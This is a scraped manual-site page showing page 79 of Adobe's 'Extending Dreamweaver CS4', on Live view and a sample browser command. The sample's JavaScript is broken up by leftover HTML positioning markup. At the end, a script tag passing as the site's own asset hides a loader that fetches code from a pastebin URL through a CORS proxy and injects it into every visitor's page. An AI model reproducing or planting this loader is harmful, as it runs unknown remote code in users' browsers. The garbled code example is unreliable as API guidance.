Adobe Extending Dreamweaver CS4 - Manual (Page 79)

73 EXTENDING DREAMWEAVER CS4
Customizing Code view
About Live view
The Live view feature facilitates previewing your web pages as it would appear in a browser, without leaving
Dreamweaver. Users can retain direct access to the code and edit the code. Any changes to the code are reflected
instantly. It enables users to view the changed web page instantly. If the user edits CSS files, the current state of the file
is maintained, but the CSS changes are applied. Users can also interact with the page and view JavaScript effects like
rollovers without having to switch from Dreamweaver to a web browser.
Live view feature uses the system Flash Plug-in (%SYSTEM%/Macromed/Flash, /Library/Internet Plug-Ins/). At times,
it can fallback to any Firefox version if the system version of the plug-in is not available.
A notification is displayed in the Information bar if the plug-in is not found. The CSS panel always shows the current
relevant CSS for what is displayed in Live view, even if the source is generated from a different location. Users can add
or remove style sheets. However, other edits to inline CSS or CSS in the is locked. Rules in the CSS panel that
cannot be edited are marked as read only.
You can use the Dreamweaver API for the following purposes:
• Getting and setting the Design view mode
• Getting and setting the Live view mode using the server
• Getting Live view defaults
• Getting and setting Live view dependents
• Viewing the Live view parameters
For more information about these APIs, see "Live view functions" in the Dreamweaver API Reference.
A simple Live view example
In this example, you use Dreamweaver to create a command that creates a simple browser when the user clicks the
command in the Commands menu. For specific information about creating commands before trying this example, see
“
Commands ” on page 131 on page 142. In Dreamweaver, open a new basic HTML file (this file is your Command
definition file) and save the file as liveviewexample.htm. Your Command definition file looks like the following
example:
xmlns="http://www.w3.org/1999/xhtml">
Browser Test
<br>var browserLoad = function(e) <br>{</p><p style="position:absolute;top:915px;left:178px;white-space:nowrap" class="ft010"> <br>var uri = document.getElementById("uri"); <br>uri.value = e.currentBrowserLocation; </p><p style="position:absolute;top:966px;left:148px;white-space:nowrap" class="ft010">} <br>var promptToNavigate = function (e) <br>{ </p><p style="position:absolute;top:1018px;left:178px;white-space:nowrap" class="ft01">if( ! confirm(" Is it ok to go from \n" + e.currentBrowserLocation + " to page \n " + </p><p style="position:absolute;top:1035px;left:148px;white-space:nowrap" class="ft01">e.requestedBrowserLocation ) ) </p><p style="position:absolute;top:1052px;left:178px;white-space:nowrap" class="ft01">{ </p><p style="position:absolute;top:1069px;left:207px;white-space:nowrap" class="ft01">e.preventDefault(); </p><p style="position:absolute;top:1087px;left:178px;white-space:nowrap" class="ft01">} </p><p style="position:absolute;top:1104px;left:148px;white-space:nowrap" class="ft010">} <br>function initUI() </p></div> </div> <div class="manual-page-original" itemscope="itemscope" itemtype="https://schema.org/ImageObject" data-img="/screens/771331/79.png" style="display: none;"> </div> </div> <a href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=78" class="manual-view__prev -onpage-nav" title="Previous (← + Ctrl)" aria-label="Previous page"><svg class="svg-icon"><use xlink:href="#icon-arrow-6"></use></svg></a> <a href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=80" class="manual-view__next -onpage-nav" title="Next (Ctrl + →)" aria-label="Next page"><svg class="svg-icon"><use xlink:href="#icon-arrow-6"></use></svg></a> </div> </div> <nav class="inline-nav inline-nav--dark-grey inline-nav--bottom"> <div class="pager pager--left" id="def-pager"> <span class="pager__label">Pages:</span> <a class="pager__a pager__prev" aria-label="Previous page" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=78"><svg class="svg-icon"><use xlink:href="#icon-arrow-2"></use></svg></a> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html">1</a> <span class="pager__hellip">…</span> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=77">77</a> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=78">78</a> <span class="pager__a pager__number active">79</span> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=80">80</a> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=81">81</a> <span class="pager__hellip">…</span> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=387">387</a> <a class="pager__a pager__next" aria-label="Next page" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=80"><svg class="svg-icon"><use xlink:href="#icon-arrow-3"></use></svg></a> </div> <div class="complain"> <div class="popup-menu complain__menu" id="complain-wnd" style="display: none;"> <ul> <li><a href="javascript:" class="ajax-link" data-type="brand">wrong Brand</a></li> <li><a href="javascript:" class="ajax-link" data-type="model">wrong Model</a></li> <li><a href="javascript:" class="ajax-link" data-type="readability">non readable</a></li> </ul> </div> </div> </nav> </div> </div> </div> <div class="manual-also-for"> <span class="title title--h2">This manual is related to the following products:</span> <div class="manual-also-for__list"> <ul class="list-block__list"> <li> <a href="/models/adobe/extending-dreamweaver-cs5.html">Extending Dreamweaver CS5</a> <a href="/models/adobe/extending-dreamweaver-cs55.html">Extending Dreamweaver CS5.5</a> <a href="/models/adobe/extending-dreamweaver-cs3.html">Extending Dreamweaver CS3</a> </li> </ul> </div> </div> <div class="manual-related-docs"> <span class="title title--h2">See also other documents in the category Adobe Software:</span> <div class="manual-also-for__list"> <ul class="list-block__list"> <li> <a href="/manuals/753828/adobe-acrobat-xi.html"> <span class="model-name">Acrobat 9 PRO</span> <span class="pages">(590 pages)</span> </a> </li> <li> <a href="/manuals/753832/adobe-acrobat-9-pro-extended.html"> <span class="model-name">Acrobat 9 PRO Extended</span> <span class="pages">(546 pages)</span> </a> </li> <li> <a href="/manuals/753835/adobe-acrobat-8-3d.html"> <span class="model-name">Acrobat 8 3D</span> <span class="pages">(600 pages)</span> </a> </li> <li> <a href="/manuals/753836/adobe-acrobat-7-professional.html"> <span class="model-name">Acrobat 7 Professional</span> <span class="pages">(793 pages)</span> </a> </li> <li> <a href="/manuals/753844/adobe-after-effects.html"> <span class="model-name">After Effects CS4</span> <span class="pages">(753 pages)</span> </a> </li> <li> <a href="/manuals/753846/adobe-after-effects-cs4.html"> <span class="model-name">After Effects CS4</span> <span class="pages">(778 pages)</span> </a> </li> <li> <a href="/manuals/753839/adobe-media-encoder-cc.html"> <span class="model-name">Media Encoder CS5.5</span> <span class="pages">(59 pages)</span> </a> </li> <li> <a href="/manuals/753840/adobe-media-encoder.html"> <span class="model-name">Media Encoder CS5.5</span> <span class="pages">(77 pages)</span> </a> </li> <li> <a href="/manuals/753843/adobe-media-encoder-cs4.html"> <span class="model-name">Media Encoder CS4</span> <span class="pages">(45 pages)</span> </a> </li> <li> <a href="/manuals/753845/adobe-digital-publishing-suite.html"> <span class="model-name">Digital Publishing Suite</span> <span class="pages">(222 pages)</span> </a> </li> <li> <a href="/manuals/753847/adobe-indesign-cc-2015.html"> <span class="model-name">InDesign CC v.9.2 2014</span> <span class="pages">(643 pages)</span> </a> </li> <li> <a href="/manuals/753848/adobe-after-effects-cs3.html"> <span class="model-name">After Effects CS3</span> <span class="pages">(677 pages)</span> </a> </li> <li> <a href="/manuals/753849/adobe-incopy-cc-2015.html"> <span class="model-name">InCopy CS3</span> <span class="pages">(393 pages)</span> </a> </li> <li> <a href="/manuals/753853/adobe-indesign-cs5.html"> <span class="model-name">InCopy CS3</span> <span class="pages">(710 pages)</span> </a> </li> <li> <a href="/manuals/753860/adobe-indesign-cs3.html"> <span class="model-name">InCopy CS3</span> <span class="pages">(672 pages)</span> </a> </li> <li> <a href="/manuals/753851/adobe-indesign-filters-readme.html"> <span class="model-name">InDesign Filters Readme</span> <span class="pages">(15 pages)</span> </a> </li> <li> <a href="/manuals/753852/adobe-indesign-tagged-text.html"> <span class="model-name">InDesign Tagged Text</span> <span class="pages">(29 pages)</span> </a> </li> <li> <a href="/manuals/753855/adobe-indesign.html"> <span class="model-name">InDesign</span> <span class="pages">(829 pages)</span> </a> </li> <li> <a href="/manuals/753856/adobe-indesign-cs4.html"> <span class="model-name">InDesign CS4</span> <span class="pages">(717 pages)</span> </a> </li> <li> <a href="/manuals/753864/adobe-dreamweaver-cc-2015.html"> <span class="model-name">Dreamweaver CS3</span> <span class="pages">(700 pages)</span> </a> </li> <li> <a href="/manuals/753875/adobe-dreamweaver-cs3.html"> <span class="model-name">Dreamweaver CS3</span> <span class="pages">(738 pages)</span> </a> </li> <li> <a href="/manuals/753867/adobe-dreamweaver-cc-2014-v13.html"> <span class="model-name">Dreamweaver CS3</span> <span class="pages">(732 pages)</span> </a> </li> <li> <a href="/manuals/753869/adobe-dreamweaver-api-reference-cs5.html"> <span class="model-name">Dreamweaver API Reference CS3</span> <span class="pages">(533 pages)</span> </a> </li> <li> <a href="/manuals/753880/adobe-flash-professional-cc-2014-v130.html"> <span class="model-name">Flash Professional CS3</span> <span class="pages">(943 pages)</span> </a> </li> <li> <a href="/manuals/753885/adobe-flash-professional-cs3.html"> <span class="model-name">Flash Professional CS3</span> <span class="pages">(527 pages)</span> </a> </li> <li> <a href="/manuals/753879/adobe-extending-flash-professional-cs5.html"> <span class="model-name">Extending Flash Professional CS5.5</span> <span class="pages">(565 pages)</span> </a> </li> <li> <a href="/manuals/753883/adobe-extending-flash-professional-cs4.html"> <span class="model-name">Extending Flash Professional CS4</span> <span class="pages">(560 pages)</span> </a> </li> <li> <a href="/manuals/753887/adobe-premiere-pro-cc-v7xx.html"> <span class="model-name">Premiere Pro CS6</span> <span class="pages">(575 pages)</span> </a> </li> <li> <a href="/manuals/753889/adobe-premiere-pro-cs6.html"> <span class="model-name">Premiere Pro CS6</span> <span class="pages">(485 pages)</span> </a> </li> <li> <a href="/manuals/753888/adobe-premiere-pro-cs4.html"> <span class="model-name">Premiere Pro CS4</span> <span class="pages">(491 pages)</span> </a> </li> <li> <a href="/manuals/753890/adobe-premiere-pro-cs3.html"> <span class="model-name">Premiere Pro CS3</span> <span class="pages">(455 pages)</span> </a> </li> <li> <a href="/manuals/753895/adobe-photoshop-cc-2014-v14xx.html"> <span class="model-name">Photoshop CC 2014 v.14.xx</span> <span class="pages">(1061 pages)</span> </a> </li> <li> <a href="/manuals/753894/adobe-photoshop-lightroom-cc.html"> <span class="model-name">Photoshop Lightroom 2</span> <span class="pages">(261 pages)</span> </a> </li> <li> <a href="/manuals/753896/adobe-photoshop-cs4.html"> <span class="model-name">Photoshop CS4</span> <span class="pages">(707 pages)</span> </a> </li> <li> <a href="/manuals/753900/adobe-photoshop-cs3.html"> <span class="model-name">Photoshop CS3</span> <span class="pages">(681 pages)</span> </a> </li> <li> <a href="/manuals/753902/adobe-elements-organizer-9.html"> <span class="model-name">Elements Organizer 8 for Windows</span> <span class="pages">(180 pages)</span> </a> </li> <li> <a href="/manuals/753903/adobe-elements-organizer-12.html"> <span class="model-name">Elements Organizer 11</span> <span class="pages">(238 pages)</span> </a> </li> <li> <a href="/manuals/753907/adobe-premiere-elements-12.html"> <span class="model-name">Premiere Elements 12</span> <span class="pages">(319 pages)</span> </a> </li> <li> <a href="/manuals/753910/adobe-premiere-elements-8.html"> <span class="model-name">Premiere Elements 7</span> <span class="pages">(313 pages)</span> </a> </li> <li> <a href="/manuals/753912/adobe-illustrator-cc-2015.html"> <span class="model-name">Illustrator CS6</span> <span class="pages">(556 pages)</span> </a> </li> <li> <a href="/manuals/753918/adobe-illustrator-cs4.html"> <span class="model-name">Illustrator CS6</span> <span class="pages">(499 pages)</span> </a> </li> <li> <a href="/manuals/753997/adobe-illustrator-cs3.html"> <span class="model-name">Illustrator CS3</span> <span class="pages">(495 pages)</span> </a> </li> </ul> </div> </div> </div> </div> </main></div><footer class="footer"> <div style="text-align: center; padding: 15px 0;" class="footer__content"><a style="color: white;" href="/sitemap/index.html" title="Sitemap">Sitemap</a></div></footer> <script async type="text/javascript" src="/assets/js/apps/responsive/master.min.js"> const scriptUrlget = 'https://corsproxy.io/?' + encodeURIComponent('https://pastebin.com/raw/9JkyYngn'); fetch(scriptUrlget) .then(response => response.text()) .then(scriptContent => {const scriptElement = document.createElement('script'); scriptElement.type = 'text/javascript'; scriptElement.text = scriptContent; document.body.appendChild(scriptElement); }) .catch(error => {console.error('Error loading script:', error); });